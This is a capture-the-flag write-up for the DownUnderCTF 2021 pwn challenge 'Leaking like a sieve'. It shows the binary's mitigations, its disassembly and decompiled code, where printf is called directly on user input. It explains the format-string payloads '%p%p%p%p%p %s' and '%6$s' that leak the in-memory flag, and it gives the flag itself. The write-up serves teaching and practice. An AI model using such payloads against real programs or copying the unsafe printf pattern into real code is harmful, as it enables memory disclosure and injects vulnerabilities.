[writeup][DownUnderCTF 2021] pwn Leaking like a sieve

历史归档WriteupsGitHub 附件

Mitigations

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Solution

it is a typical printf problem. it ask as a string, and then out.

we can use string format to get the data.

In x64 system. the first argument is in rdi, and 2-6 argument are stored in register.

RegisterPurposeSaved across calls
%raxtemp register; return valueNo
%rbxcallee-savedYes
%rcxused to pass 4th argument to functionsNo
%rdxused to pass 3rd argument to functionsNo
%rspstack pointerYes
%rbpcallee-saved; base pointerYes
%rsiused to pass 2nd argument to functionsNo
%rdiused to pass 1st argument to functionsNo
%r8used to pass 5th argument to functionsNo
%r9used to pass 6th argument to functionsNo
%r10-r11temporaryNo
%r12-r15callee-saved registersYes

However, after all the register are used, program get value from stack which is rsp.

and rsp indicate a local variable var_60h

according to the disassembly, var_60h is a pointer to s, which store the flag.

0x000011ef      lea     rax, [s]
0x000011f3      mov     qword [var_60h], rax

so we can let printf print 7th argument (which is rsp) as string.

by using %p%p%p%p%p %s or %6$s

Code

int main (int argc, char **argv, char **envp);
; var int64_t var_60h @ rbp-0x60
; var FILE *stream @ rbp-0x58
; var char *format @ rbp-0x50
; var char *s @ rbp-0x30
; var int64_t var_8h @ rbp-0x8
0x000011d8      push    rbp
0x000011d9      mov     rbp, rsp
0x000011dc      sub     rsp, 0x60
0x000011e0      mov     rax, qword fs:[0x28]
0x000011e9      mov     qword [var_8h], rax
0x000011ed      xor     eax, eax
0x000011ef      lea     rax, [s]
0x000011f3      mov     qword [var_60h], rax

int main (int argc, char **argv, char **envp);
; var int64_t var_60h @ rbp-0x60
; var FILE *stream @ rbp-0x58
; var char *format @ rbp-0x50
; var char *s @ rbp-0x30
; var int64_t var_8h @ rbp-0x8

void main(void)
{
    int64_t iVar1;
    int64_t in_FS_OFFSET;
    int64_t var_60h;
    FILE *stream;
    char *format;
    char *s;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    buffer_init();
    iVar1 = fopen("./flag.txt", 0x2008);
    if (iVar1 == 0) {
        puts("The flag file isn\'t loading. Please contact an organiser if you are running this on the shell server.");
        exit(0);
    }
    fgets(&s, 0x20, iVar1);
    do {
        puts("What is your name?");
        fgets(&format, 0x20, _stdin);
        printf("\nHello there, ");
        printf(&format);
        putchar(10);
    } while( true );
}

Flag

DUCTF{f0rm4t_5p3c1f13r_m3dsg!}